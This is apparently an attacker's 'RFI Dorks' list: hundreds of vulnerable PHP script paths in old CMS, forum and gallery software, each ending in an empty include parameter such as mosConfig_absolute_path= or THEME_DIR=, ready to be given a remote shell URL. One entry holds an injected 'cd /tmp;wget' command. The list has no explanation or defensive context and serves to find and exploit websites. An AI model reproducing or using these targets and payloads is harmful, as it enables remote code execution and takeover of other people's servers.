RFI DorkS

RFI DorkS

/modules/coppermine/themes/default/theme.php?THEME_DIR= /modules/4nAlbum/public/displayCategory.php?basepath= /modules/coppermine/themes/coppercop/theme.php?THEME_DIR= /modules/coppermine/themes/maze/theme.php?THEME_DIR= /modules/coppermine/themes/default/theme.php?THEME_DIR= /modules/coppermine/include/init.inc.php?CPG_M_DIR= /components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]= /components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path= /components/com_smf/smf.php?mosConfig_absolute_path= /components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path= /components/com_simpleboard/image_upload.php?sbp= /components/com_simpleboard/file_upload.php?sbp= /components/com_hashcash/server.php?mosConfig_absolute_path= /components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path= /components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path= /components/com_forum/download.php?phpbb_root_path= /components/com_pccookbook/pccookbook.php?mosConfig_absolute_path= /components/com_extcalendar/extcalendar.php?mosConfig_absolute_path= /components/minibb/index.php?absolute_path= /components/com_smf/smf.php?mosConfig_absolute_path= /components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path= /components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path= /components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path= /components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=
/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path= /components/com_securityimages/configinsert.php?mosConfig_absolute_path= /components/com_securityimages/lang.php?mosConfig_absolute_path= /components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path= /components/com_galleria/galleria.html.php?mosConfig_absolute_path= /administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path= /e107/e107_handlers/secure_img_render.php?p= /modules/My_eGallery/public/inc/?HCL_path= /modules/My_eGallery/public/displayCategory.php?basepath= /modules/My_eGallery/index.php?basepath= /modules/Forums/admin/index.php?phpbb_root_path= /modules/Forums/admin/admin_avatar.php?phpbb_root_path= /modules/Forums/admin/admin_styles.php?phpbb_root_path= /modules/Forums/admin/admin_board.php?phpEx= /modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR= /modules/mod_mainmenu.php?mosConfig_absolute_path= /modules/agendax/addevent.inc.php?agendax_path= /shoutbox/expanded.php?conf= /modules/xgallery/upgrade_album.php?GALLERY_BASEDIR= /modules/newbb_plus/class/forumpollrenderer.php?bbPath= /phpBB/admin/admin_styles.php?mode= /modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR= /modules/xgallery/upgrade_album.php?GALLERY_BASEDIR= /forum/auth/auth.php?phpbb_root_path= /forum/auth/auth_phpbb/phpbb_root_path= /cutenews/comments.php?cutepath= /library/lib.php?root= /impex/ImpExData.php?systempath= /coppermine/thumbnails.php?lang= /gallery/thumbnails.php?lang= /aWebNews/visview.php?path_to_news= /ashnews.php?pathtoashnews= /4images/index.php?template= /galeri/index.php?template= /gallery/index.php?template= /auth/auth.php?phpbb_root_path= /auth/auth_phpbb/phpbb_root_path= /forums/toplist.php?phpbb_root_path= /forum/toplist.php?phpbb_root_path= /admin/config_settings.tpl.php?include_path= /include/common.php?include_path= /event/index.php?page= /forum/index.php?includeFooter= /forums/index.php?includeFooter= /forum/bb_admin.php?includeFooter= /forums/bb_admin.php?includeFooter= /language/lang_english/lang_activity.php?phpbb_root_path= /forum/language/lang_english/lang_activity.php?phpbb_root_path= /blend_data/blend_common.php?phpbb_root_path= /master.php?root_path= /includes/kb_constants.php?module_root_path= /forum/includes/kb_constants.php?module_root_path= /forums/includes/kb_constants.php?module_root_path= /classes/adodbt/sql.php?classes_dir= /modules/mod_calendar.php?absolute_path= /agenda.php3?rootagenda= /agenda2.php3?rootagenda= /sources/lostpw.php?CONFIG[path]= /topsites/sources/lostpw.php?CONFIG[path]= /toplist/sources/lostpw.php?CONFIG[path]= /sources/join.php?CONFIG[path]= /topsites/sources/join.php?CONFIG[path]= /toplist/sources/join.php?CONFIG[path]= /topsite/sources/join.php?CONFIG[path]= /public_includes/pub_popup/popup_finduser.php?vsDragonRootPath= /extras/poll/poll.php?file_newsportal= /calogic/reconfig.php?GLOBALS[CLPath]= /eshow.php?Config_rootdir= /auction/auction_common.php?phpbb_root_path= /calendar/index.php?inc_dir= /modules/TotalCalendar/index.php?inc_dir= /modules/calendar/index.php?inc_dir= /calendar/embed/day.php?path= /ACalendar/embed/day.php?path= /calendar/add_event.php?inc_dir= /claroline/auth/extauth/drivers/ldap.inc.php?clarolineRepositorySys= /claroline/auth/ldap/authldap.php?includePath= /docebo/modules/credits/help.php?lang= /modules/credits/help.php?lang= /includes/pafiledb_constants.php?module_root_path= /phpBB/includes/pafiledb_constants.php?module_root_path= /pafiledb/includes/pafiledb_constants.php?module_root_path= /auth/auth.php?phpbb_root_path= /auth/auth_phpbb/phpbb_root_path= /apc-aa/cron.php3?GLOBALS[AA_INC_PATH]= /apc-aa/cached.php3?GLOBALS[AA_INC_PATH]= /infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]= /phpdig/includes/config.php?relative_script_path= /includes/phpdig/includes/config.php?relative_script_path= /includes/dbal.php?eqdkp_root_path= /eqdkp/includes/dbal.php?eqdkp_root_path= /dkp/includes/dbal.php?eqdkp_root_path= /path/include/SQuery/gameSpy2.php?libpath= /include/global.php?GLOBALS[includeBit]= /topsites/config.php?returnpath= /manager/frontinc/prepend.php?_PX_config[manager_path]= /ubbthreads/addpost_newpoll.php?addpoll=thispath= /forum/addpost_newpoll.php?thispath= /forums/addpost_newpoll.php?thispath= /ubbthreads/ubbt.inc.php?thispath= /forums/ubbt.inc.php?thispath= /forum/ubbt.inc.php?thispath= /forum/admin/addentry.php?phpbb_root_path= /admin/addentry.php?phpbb_root_path= /includes/orderSuccess.inc.php?glob[rootDir]= /stats.php?dir[func]=dir[base]= /ladder/stats.php?dir[base]= /ladders/stats.php?dir[base]= /sphider/admin/configset.php?settings_dir= /admin/configset.php?settings_dir= /vwar/admin/admin.php?vwar_root= /modules/vwar/admin/admin.php?vwar_root= /modules/vWar_Account/includes/get_header.php?vwar_root= /modules/vWar_Account/includes/functions_common.php?vwar_root2= /sphider/admin/configset.php?settings_dir= /admin/configset.php?settings_dir= /impex/ImpExData.php?systempath= /forum/impex/ImpExData.php?systempath= /forums/impex/ImpExData.php?systempath= /cgi-bin//classes/adodbt/sql.php?classes_dir= /cgi-bin/install/index.php?G_PATH= /cgi-bin/include/print_category.php?dir= /includes/class_template.php?quezza_root_path= /bazar/classified_right.php?language_dir= /classified_right.php?language_dir= /phpBazar/classified_right.php?language_dir= /modules/center/admin/accounts/process.php?module_path]= /chat/messagesL.php3?cmd= /phpMyChat/chat/messagesL.php3?cmd= /bbs/include/write.php?dir= /research/boards/encapsbb-0.3.2_fixed/index_header.php?root= /Farsi1/index.php?archive= /index.php?archive= /show_archives.php?template= /forum/include/common.php?pun_root= /pmwiki wiki/pmwiki-2.1.beta20/pmwiki.php?GLOBALS[FarmD]= /vuln.php?= /cgi-bin//include/write.php?dir= /admin/common.inc.php?basepath= /pm/lib.inc.php?sfx= /pm/lib.inc.php?pm_path= /artmedic-kleinanzeigen-path/index.php?id= /index.php?pagina= /osticket/include/main.php?include_dir= /include/main.php?config[search_disp]=include_dir= /phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]= /quick_reply.php?phpbb_root_path= /zboard/include/write.php?dir= /PATH/admin/plog-admin-functions.php?configbasedir= /path_to_phpgreetz/content.php?content= /path_to_qnews/q-news.php?id= /_conf/core/common-tpl-vars.php?confdir= /votebox.php?VoteBoxPath= /al_initialize.php?alpath= /include/db.php?GLOBALS[rootdp]= /modules/news/archivednews.php?GLOBALS[language_home]= /protection.php?siteurl= /modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]= /index2.php?includes_dir= /classes.php?LOCAL_PATH= /extensions/moblog/moblog_lib.php?basedir= /modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]= /phpWebLog/include/init.inc.php?G_PATH= /admin/objects.inc.php4?Server= /trg_news30/trgnews/install/article.php?dir= /block.php?Include= /arpuivo.php?data= /path_to_gallery/setup/index.php?GALLERY_BASEDIR= /include/help.php?base= /index.php?[Home]= /path_to_script/block.php?Include= /examples/phonebook.php?page= /PHPNews/auth.php?path= /include/print_category.php?dir= /skin/zero_vote/login.php?dir= /skin/zero_vote/setup.php?dir= /skin/zero_vote/ask_password.php?dir= /gui/include/sql.php?include_path= /webmail/lib/emailreader_execute_on_each_page.inc.php?emailread er_ini= /email.php?login=cer_skin= /PhotoGal/ops/gals.php?news_file= /index.php?custom= /loginout.php?cutepath= /oneadmin/config.php?path[docroot]= /xcomic/initialize.php?xcomicRootPath= /skin/zero_vote/setup.php?dir= /skin/zero_vote/error.php? dir= /admin_modules/admin_module_captions.inc.php?config[path_src_include]= /admin_modules/admin_module_rotimage.inc.php?config[path_src_include]= /admin_modules/admin_module_delcomments.inc.php?config[path_src_include]= /admin_modules/admin_module_edit.inc.php?config[path_src_include]= /admin_modules/admin_module_delimage.inc.php?config[path_src_include]= /admin_modules/admin_module_deldir.inc.php?config[path_src_include]= /src/index_overview.inc.php?config[path_src_include]= /src/index_leftnavbar.inc.php?config[path_src_include]= /src/index_image.inc.php?config[path_src_include]= /src/image-gd.class.php?config[path_src_include]= /src/image.class.php?config[path_src_include]= /src/album.class.php?config[path_src_include]= /src/show_random.inc.php?config[path_src_include]= /src/main.inc.php?config[path_src_include]= /src/index_passwd-admin.inc.php?config[path_admin_include]= /yappa-ng/src/index_overview.inc.php?config[path_src_include]= /src/index_overview.inc.php?config[path_src_include]= /src/image-gd.class.php?config[path_src_include]= /src/image.class.php?config[image_module]= /src/album.class.php?config[path_src_include]= /src/show_random.inc.php?config[path_src_include]= /src/main.inc.php?config[path_src_include]= /includes/db_adodb.php?baseDir= /includes/db_connect.php?baseDir= /includes/session.php?baseDir= /modules/projects/gantt.php?dPconfig[root_dir]= /modules/projects/gantt2.php?dPconfig[root_dir]= /modules/projects/vw_files.php?dPconfig[root_dir]= /modules/admin/vw_usr_roles.php?baseDir= /modules/public/calendar.php?baseDir= /modules/public/date_format.php?baseDir= /modules/tasks/gantt.php?baseDir= /mantis/login_page.php?g_meta_include_file= /phpgedview/help_text_vars.php?PGV_BASE_DIRECTORY= /modules/My_eGallery/public/displayCategory.php?basepath= /dotproject/modules/files/index_table.php?root_dir= /nukebrowser.php?filnavn= /bug_sponsorship_list_view_inc.php?t_core_path= /includes/calendar.php?phpc_root_path= /includes/setup.php?phpc_root_path= /phpBB/admin/admin_styles.php?mode= /aMember/plugins/db/mysql/mysql.inc.php?config= /admin/lang.php?CMS_ADMIN_PAGE= /inc/pipe.php?HCL_path= /include/write.php?dir= /becommunity/community/index.php?pageurl= /CubeCart/includes/orderSuccess.inc.php?&glob[rootDir]= /inc/formmail.inc.php?script_root= /include/init.inc.php?G_PATH= /backend/addons/links/index.php?PATH= /modules/newbb_plus/class/class.forumposts.php?bbPath[path]= /modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]= /protection.php?siteurl= /htmltonuke.php?filnavn= /mail_autocheck.php?pm_path= /modules/4nAlbum/public/displayCategory.php?basepath= /e107/e107_handlers/secure_img_render.php?p= /include/new-visitor.inc.php?lvc_include_dir= /path_of_cpcommerce/_functions.php?prefix= /community/modules/agendax/addevent.inc.php?agendax_path= /library/editor/editor.php?root= /library/lib.php?root= /zentrack/index.php?configFile= /pivot/modules/module_db.php?pivot_path= /myPHPCalendar/admin.php?cal_dir= /p_uppc_francais/pages_php/p_aidcon_conseils/index.php?FM= /db.php?path_local= /phpGedView/individual.php?PGV_BASE_DIRECTORY= /index.php?kietu[url_hit]= /phorum/plugin/replace/plugin.php?PHORUM[settings_dir]= /Sources/Packages.php?sourcedir= /yabbse/Sources/Packages.php?sourcedir= /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path= /cgi-bin//gadgets/Blog/BlogModel.php?path= /cgi-bin//admin.php?cal_dir= /gallery/captionator.php?GALLERY_BASEDIR= /cgi-bin/main.php?x= /Blog/BlogModel.php?path= /admin.php?cal_dir= /expanded.php?conf= /mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]= /pollvote/pollvote.php?pollname= /displayCategory.php?basepath= /phpBB2/admin/admin_cash.php?phpbb_root_path= /modules/foro/includes/functions_admin.php?phpbb_root_path= /modules/Forums/admin/admin_forums.php?phpEx= /modules/Forums/admin/admin_disallow.php?phpEx= /modules/Forums/admin/admin_smilies.php?phpEx= /modules/Forums/admin/admin_board.php?phpEx= /modules/Forums/admin/admin_users.php?phpEx= /modules/Forums/admin/admin_mass_email.php?phpEx= /modules/Forums/admin/admin_forum_prune.php?phpEx= /modules/Forums/admin/admin_styles.php?phpbb_root_path= /mt-comments.cgi?id= /webcalendar/tools/send_reminders.php?includedir= /cmd/product_info.php/products_id/1622/shop_content.php?coID= /addevent.inc.php?agendax_path= /step_one.php?server_inc= /upgrade_album.php?GALLERY_BASEDIR= /search.php?cutepath= /modules.php?name= /wagora/extras//quicklist.php?site= /vCard/admin/define.inc.php?match= /forum/ubbthreads.php?Cat= /admin/includes/classes/spaw/spaw_control.class.php?spaw_root= /secure.php?cfgProgDir= /modules/My_eGallery/public//inc/?HCL_path= /modules/My_eGallery/public/imagen.php?basepath= /adlayer.php?layerstyle= /Forums/bb_smilies.php?name= /modules/Forums/bb_smilies.php?name= /gadgets/Blog/BlogModel.php?path= /learnlinc/clmcpreload.php?CLPATH= /modernbill/samples/news.php?DIR= /religions/faq.php?page= /forum/viewtopic.php?t= /announcements.php?includePath= /inc/header.php/step_one.php?server_inc= /phpatm/index.php?include_location= /gb/form.inc.php3?lang= /shannen/index.php?x= /family/phpgedview/index.php?PGV_BASE_DIRECTORY= /main.php?left= /forum/misc.php?action= /nucleus/libs/globalfunctions.php?DIR_LIBS= /show_archives.php?cutepath= /gallery.php= /magicforum/misc.php?action= /forum/admin/actions/del.php?include_path= /local/investing_industrialeastate1.php?a= /modules/coppermine/themes/default/theme.php?THEME_DIR /Popper/index.php?childwindow.inc.php?form= /class.mysql.php?path_to_bt_dir= /include/footer.inc.php?_AMLconfig[cfg_serverpath]= /eyeos/desktop.php?baccio= /ashnews.php?pathtoashnews= /becommunity/community/index.php?pageurl= /modules/module_db.php?pivot_path= /catalog/includes/include_once.php?include_file= /cgi-bin/calendar.pl?fromTemplate= /live/inc/pipe.php?HCL_path= /zb41/include/write.php?dir= /cgi-bin/awstats.pl?logfile= /presse/stampa.php3?azione= /inc/step_one_tables.php?server_inc= /phpprojekt/lib/authform.inc.php?path_pre= /captionator.php?GALLERY_BASEDIR= /_head.php?_zb_path=.example.com /achievo/atk/javascript/class.atkdateattribute.js.php?config_atkroot= /gallery/captionator.php?GALLERY_BASEDIR=.example.com /globals.php3?LangCookie=.example.com /include/msql.php?inc_dir= /include/mssql7.php?inc_dir= /include/mysql.php?inc_dir= /include/oci8.php?inc_dir= /include/postgres.php?inc_dir= /include/postgres65.php?inc_dir= /install.php?phpbb_root_dir= /mantis/login_page.php?g_meta_inc_dir= /phorum/admin/actions/del.php?include_path= /pollensondage.inc.php?app_path= /user/agora_user.php?inc_dir= /user/ldap_example.php?inc_dir= /userlist.php?ME=.example.com /_functions.php?prefix= /cpcommerce/_functions.php?prefix= /ashnews.php?pathtoashnews=cd /tmp;wget /eblog/blog.inc.php?xoopsConfig[xoops_url]= /b2-tools/gm-2-b2.php?b2inc= /includes/include_once.php?include_file= /modules.php?name=jokeid= /livehelp/inc/pipe.php?HCL_path= /hcl/inc/pipe.php?HCL_path= /support/faq/inc/pipe.php?HCL_path= /help/faq/inc/pipe.php?HCL_path= /helpcenter/inc/pipe.php?HCL_path= /live-support/inc/pipe.php?HCL_path= /gnu3/index.php?doc= /gnu/index.php?doc= /phpgwapi/setup/tables_update.inc.php?appdir= /includes/calendar.php?phpc_root_path= /includes/setup.php?phpc_root_path= /inc/authform.inc.php?path_pre= /include/authform.inc.php?path_pre= /web_statistics/modules/coppermine/themes/default/theme.php?THEME_DIR= /web_statistics//tools/send_reminders.php?includedir= /web_statistics//include/write.php?dir= /web_statistics//modules/My_eGallery/public/displayCategory.php?basepath= /web_statistics//calendar/tools/send_reminders.php?includedir= /web_statistics//skin/zero_vote/error.php?dir= /web_statistics//coppercop/theme.php?THEME_DIR= /includes/header.php?systempath= /Gallery/displayCategory.php?basepath= /index.inc.php?PATH_Includes= /nphp/nphpd.php?nphp_config[LangFile]= /ashheadlines.php?pathtoashnews= /demo/includes/init.php?user_inc= /jaf/index.php?show= /inc/shows.inc.php?cutepath= /poll/admin/common.inc.php?base_path= /sources/post.php?fil_config= /bb_lib/checkdb.inc.php?libpach= /include/livre_include.php?chem_absolu= /derniers_commentaires.php?rep= /allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]= /allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]= /agendax/addevent.inc.php?agendax_path= /GradeMap/index.php?page= /phpopenchat/contrib/yabbse/poc.php?sourcedir= /calendar/calendar.php?serverPath= /calendar/functions/popup.php?serverPath= /calendar/events/header.inc.php?serverPath= /calendar/events/datePicker.php?serverPath= /calendar/setup/setupSQL.php?serverPath= /calendar/setup/header.inc.php?serverPath= /install/index.php?G_PATH= /support/mailling/maillist/inc/initdb.php?absolute_path= /coppercop/theme.php?THEME_DIR= /dotproject/modules/projects/addedit.php?root_dir= /dotproject/modules/projects/view.php?root_dir= /dotproject/modules/projects/vw_files.php?root_dir= /dotproject/modules/tasks/addedit.php?root_dir= /dotproject/modules/tasks/viewgantt.php?root_dir= /phpshop/index.php?base_dir= /contacts.php?cal_dir= /convert-date.php?cal_dir= /album_portal.php?phpbb_root_path= /mainfile.php?MAIN_PATH= /html/affich.php?base= /gallery/init.php?HTTP_POST_VARS= /ideabox/include.php?gorumDir= /stats/modules/My_eGallery/index.php?basepath= /stats/include/write.php?dir= /stats/tools/send_reminders.php?includedir= /index.cgiupgrade_album.php?GALLERY_BASEDIR= /pollvote/pollvote.php?pollname /includes/page_header.php?dir= /index2.php?mosConfig_absolute_path= /new/bbs//include/write.php?dir= /index.php?mosConfig_absolute_path= /_wk/wk_lang.php?wkPath= /shoutbox/expanded.php?conf= /myPHPCalendar/admin.php?cal_dir= /phorum/plugin/replace/plugin.php?PHORUM[settings_dir]= /library/editor/editor.php?root= /library/lib.php?root= /index.php?template= /index.php?page= /index.php?pag= /index.php?pg= /index.php?p= /index.php?s= /index.php?c= /index.php?m= /index.php?sayfa= /index.php?include= /index.php?content= /index.php?cont= /journal.php?m= /links.php?c= /forums.php?m= /list.php?c= /journal.php?m= /user.php?xoops_redirect= /index.php?id= /index2.php?includes_dir= /r.php?url= /journal.php?m= /index.php?m= /links.php?c= /forums.php?m= /list.php?c= /user.php?xoops_redirect= /index.php?id= /index.php/main.php?x= /index.php?page= /index.php?pag= /index.php?include= /index.php?content= /index.php?cont= /index.php?c= /index.php?x= /index.php?p= /index.php?open= /index.php?visualizar= /template.php?pagina= /index.php?inc= /includes/include_onde.php?include_file= /index.php?pg= /index.php?show= /index.php?cat= /index.php?meio= /index.php?modpath= /index.php?sqld= /index.php?mainpage= /index.php?site= /index.php?pageurl= /main.php?page= /main.php?x= /default.php?page= /index.php?action= /index1.php?p= /index2.php?x= /index2.php?content= /index.php?conteudo= /index.php?meio.php= /index.php?configFile= /index.php?do= /page.php?template= /index.php?file= /index.php?hc= /visitorupload.php?cmd= /application.php?base_path= /config.php?returnpath= /editsite.php?returnpath= /in.php?returnpath= /addsite.php?returnpath= /index.php?site_path= /mail/index.php?site_path= /fclick/show.php?path= /show.php?path= /index.php?inc_dir= /index.php?theme_path= /index.php?f= /index.php?act= /ipchat.php?root_path= /become_editor.php?theme_path= /add.php?theme_path= /bad_link.php?theme_path= /browse.php?theme_path= /detail.php?theme_path= /fav.php?theme_path= /get_rated.php?theme_path= /login.php?theme_path= /mailing_list.php?theme_path= /new.php?theme_path= /modify.php?theme_path= /pick.php?theme_path= /power_search.php?theme_path= /rating.php?theme_path= /register.php?theme_path= /review.php?theme_path= /rss.php?theme_path= /search.php?theme_path= /send_pwd.php?theme_path= /sendmail.php?theme_path= /tell_friend.php?theme_path= /top_rated.php?theme_path= /user_detail.php?theme_path= /user_search.php?theme_path= /invoice.php?base_path= /armygame.php?libpath= /lire.php?rub= /pathofhostadmin/?page= /apa_phpinclude.inc.php?apa_module_basedir= /index.php?req_path= /print.php?val1= /cmd.php?function= /iframe.php?file= /os/pointer.php?url= /administrator/popups/pollwindow.php?mosConfig_absolute_path= /administrator/popups/modulewindow.php?mosConfig_absolute_path= /administrator/popups/contentwindow.php?mosConfig_absolute_path= /administrator/index2.php?mosConfig_absolute_path= /administrator/index3.php?mosConfig_absolute_path= /administrator/popups/modulewindow.php?mosConfig_absolute_path= /globals.php?mosConfig_absolute_path= /index.php?mosConfig_absolute_path= /index2.php?mosConfig_absolute_path= /mainbody.php?mosConfig_absolute_path= /offline.php?mosConfig_absolute_path= /pathway.php?mosConfig_absolute_path= /administrator/components/com_banners/admin.banners.html.php?mosConfig_absolute_path= /administrator/components/com_banners/admin.banners.php?mosConfig_absolute_path= /administrator/components/com_banners/toolbar.banners.html.php?mosConfig_absolute_path= /administrator/components/com_banners/toolbar.banners.php?mosConfig_absolute_path= /administrator/components/com_checkin/admin.checkin.php?mosConfig_absolute_path= /administrator/components/com_config/admin.config.html.php?mosConfig_absolute_path= /administrator/components/com_config/admin.config.php?mosConfig_absolute_path= /administrator/components/com_config/toolbar.config.html.php?mosConfig_absolute_path= /administrator/components/com_config/toolbar.config.php?mosConfig_absolute_path= /administrator/components/com_contact/admin.contact.html.php?mosConfig_absolute_path= /administrator/components/com_contact/admin.contact.php?mosConfig_absolute_path= /administrator/components/com_contact/toolbar.contact.html.php?mosConfig_absolute_path= /administrator/components/com_contact/toolbar.contact.php?mosConfig_absolute_path= /administrator/components/com_events/admin.events.php?mosConfig_absolute_path= /administrator/components/com_frontpage/admin.frontpage.html.php?mosConfig_absolute_path= /administrator/components/com_frontpage/admin.frontpage.php?mosConfig_absolute_path= /administrator/components/com_frontpage/toolbar.frontpage.html.php?mosConfig_absolute_path = /administrator/components/com_frontpage/toolbar.frontpage.php?mosConfig_absolute_path= /administrator/components/com_languages/admin.languages.html.php?mosConfig_absolute_path= /administrator/components/com_languages/admin.languages.php?mosConfig_absolute_path= /administrator/components/com_languages/toolbar.languages.html.php?mosConfig_absolute_path = /administrator/components/com_languages/toolbar.languages.php?mosConfig_absolute_path= /administrator/components/com_massmail/admin.massmail.html.php?mosConfig_absolute_path= /administrator/components/com_massmail/admin.massmail.php?mosConfig_absolute_path= /administrator/components/com_massmail/toolbar.massmail.html.php?mosConfig_absolute_path= /administrator/components/com_massmail/toolbar.massmail.php?mosConfig_absolute_path= /administrator/components/com_media/admin.media.html.php?mosConfig_absolute_path= /administrator/components/com_media/admin.media.php?mosConfig_absolute_path= /administrator/components/com_media/toolbar.media.html.php?mosConfig_absolute_path= /administrator/components/com_media/toolbar.media.php?mosConfig_absolute_path= /administrator/components/com_menus/admin.menus.html.php?mosConfig_absolute_path= /administrator/components/com_menus/admin.menus.php?mosConfig_absolute_path= /administrator/components/com_menus/components/components.class.php?mosConfig_absolute_path= /administrator/components/com_menus/components/components.menu.html.php?mosConfig_absolute_path= /administrator/components/com_menus/components/components.menu.php?mosConfig_absolute_path= /administrator/components/com_menus/content_archive_category/content_archive_category.class.php?mosConfig_absol ute_path= /administrator/components/com_menus/content_archive_category/content_archive_category.menu.html.php?mosConfig_a bsolute_path= /administrator/components/com_menus/content_archive_category/content_archive_category.menu.php?mosConfig_absolu te_path= /administrator/components/com_menus/content_archive_section/content_archive_section.class.php?mosConfig_absolu te_path= /administrator/components/com_menus/content_archive_section/content_archive_section.menu.html.php?mosConfig_ab solute_path= /administrator/components/com_menus/content_archive_section/content_archive_section.menu.php?mosConfig_absolut e_path= /administrator/components/com_menus/content_blog_category/content_blog_category.class.php?mosConfig_absolute _path= /administrator/components/com_menus/content_blog_category/content_blog_category.menu.html.php?mosConfig_abso lute_path= /administrator/components/com_menus/content_blog_category/content_blog_category.menu.php?mosConfig_absolute_ path= /administrator/components/com_menus/content_blog_section/content_blog_section.class.php?mosConfig_absolute_ path= /administrator/components/com_menus/content_blog_section/content_blog_section.menu.html.php?mosConfig_absol ute_path= /administrator/components/com_menus/content_blog_section/content_blog_section.menu.php?mosConfig_absolute_p ath= /administrator/components/com_menus/content_category/content_category.class.php?mosConfig_absolute_path = /administrator/components/com_menus/content_category/content_category.menu.html.php?mosConfig_absolute_ path= /administrator/components/com_menus/content_category/content_category.menu.php?mosConfig_absolute_path= /administrator/components/com_menus/content_section/content_section.class.php?mosConfig_absolute_path= /administrator/components/com_menus/content_section/content_section.menu.html.php?mosConfig_absolute_p ath= /administrator/components/com_menus/content_section/content_section.menu.php?mosConfig_absolute_path= /administrator/components/com_menus/content_typed/content_typed.class.php?mosConfig_absolute_path= /administrator/components/com_menus/content_typed/content_typed.menu.html.php?mosConfig_absolute_pat h= /administrator/components/com_menus/content_typed/content_typed.menu.php?mosConfig_absolute_path= /administrator/components/com_menus/separator/separator.class.php?mosConfig_absolute_path= /administrator/components/com_menus/separator/separator.menu.html.php?mosConfig_absolute_path= /administrator/components/com_menus/separator/separator.menu.php?mosConfig_absolute_path= /administrator/components/com_menus/toolbar.menus.html.php?mosConfig_absolute_path= /administrator/components/com_menus/toolbar.menus.php?mosConfig_absolute_path= /administrator/components/com_menus/url/url.class.php?mosConfig_absolute_path= /administrator/components/com_menus/url/url.menu.html.php?mosConfig_absolute_path= /administrator/components/com_menus/url/url.menu.php?mosConfig_absolute_path= /administrator/components/com_messages/admin.messages.html.php?mosConfig_absolute_path= /administrator/components/com_messages/admin.messages.php?mosConfig_absolute_path= /administrator/components/com_messages/toolbar.messages.html.php?mosConfig_absolute_path= /administrator/components/com_messages/toolbar.messages.php?mosConfig_absolute_path= /administrator/components/com_newsfeeds/admin.newsfeeds.html.php?mosConfig_absolute_path= /administrator/components/com_newsfeeds/admin.newsfeeds.php?mosConfig_absolute_path= /administrator/components/com_newsfeeds/newsfeeds.class.php?mosConfig_absolute_path= /administrator/components/com_newsfeeds/toolbar.newsfeeds.html.php?mosConfig_absolute_path = /administrator/components/com_newsfeeds/toolbar.newsfeeds.php?mosConfig_absolute_path= /administrator/components/com_poll/admin.poll.html.php?mosConfig_absolute_path= /administrator/components/com_poll/admin.poll.php?mosConfig_absolute_path= /administrator/components/com_poll/toolbar.poll.html.php?mosConfig_absolute_path= /administrator/components/com_poll/toolbar.poll.php?mosConfig_absolute_path= /administrator/components/com_sections/admin.sections.html.php?mosConfig_absolute_path= /administrator/components/com_sections/admin.sections.php?mosConfig_absolute_path= /administrator/components/com_sections/toolbar.sections.html.php?mosConfig_absolute_path= /administrator/components/com_sections/toolbar.sections.php?mosConfig_absolute_path= /administrator/components/com_statistics/admin.statistics.html.php?mosConfig_absolute_path= /administrator/components/com_statistics/admin.statistics.php?mosConfig_absolute_path= /administrator/components/com_templates/admin.templates.html.php?mosConfig_absolute_path= /administrator/components/com_templates/admin.templates.php?mosConfig_absolute_path= /administrator/components/com_templates/toolbar.templates.html.php?mosConfig_absolute_path = /administrator/components/com_templates/toolbar.templates.php?mosConfig_absolute_path= /administrator/components/com_users/admin.users.html.php?mosConfig_absolute_path= /administrator/components/com_users/admin.users.php?mosConfig_absolute_path= /administrator/components/com_users/toolbar.users.html.php?mosConfig_absolute_path= /administrator/components/com_users/toolbar.users.php?mosConfig_absolute_path= /administrator/components/com_weblinks/admin.weblinks.html.php?mosConfig_absolute_path= /administrator/components/com_weblinks/admin.weblinks.php?mosConfig_absolute_path= /administrator/components/com_weblinks/toolbar.weblinks.html.php?mosConfig_absolute_path= /administrator/components/com_weblinks/toolbar.weblinks.php?mosConfig_absolute_path= /administrator/images/archive.png?mosConfig_absolute_path= /administrator/images/archive_f2.png?mosConfig_absolute_path= /administrator/images/back.png?mosConfig_absolute_path= /administrator/images/back_f2.png?mosConfig_absolute_path= /administrator/images/cancel.png?mosConfig_absolute_path= /administrator/images/cancel_f2.png?mosConfig_absolute_path= /administrator/images/css.png?mosConfig_absolute_path= /administrator/images/css_f2.png?mosConfig_absolute_path= /administrator/images/delete.png?mosConfig_absolute_path= /administrator/images/delete_f2.png?mosConfig_absolute_path= /administrator/images/edit.png?mosConfig_absolute_path= /administrator/images/edit_f2.png?mosConfig_absolute_path= /administrator/images/help.png?mosConfig_absolute_path= /administrator/images/help_f2.png?mosConfig_absolute_path= /administrator/images/html.png?mosConfig_absolute_path= /administrator/images/html_f2.png?mosConfig_absolute_path= /administrator/images/move.png?mosConfig_absolute_path= /administrator/images/move_f2.png?mosConfig_absolute_path= /administrator/images/new.png?mosConfig_absolute_path= /administrator/images/new_f2.png?mosConfig_absolute_path= /administrator/images/preview.png?mosConfig_absolute_path= /administrator/images/preview_f2.png?mosConfig_absolute_path= /administrator/images/publish.png?mosConfig_absolute_path= /administrator/images/publish_f2.png?mosConfig_absolute_path= /administrator/images/publish_g.png?mosConfig_absolute_path= /administrator/images/publish_r.png?mosConfig_absolute_path= /administrator/images/publish_y.png?mosConfig_absolute_path= /administrator/images/save.png?mosConfig_absolute_path= /administrator/images/save_f2.png?mosConfig_absolute_path= /administrator/images/tick.png?mosConfig_absolute_path= /administrator/images/unarchive.png?mosConfig_absolute_path= /administrator/images/unarchive_f2.png?mosConfig_absolute_path= /administrator/images/unpublish.png?mosConfig_absolute_path= /administrator/images/unpublish_f2.png?mosConfig_absolute_path= /administrator/images/upload.png?mosConfig_absolute_path= 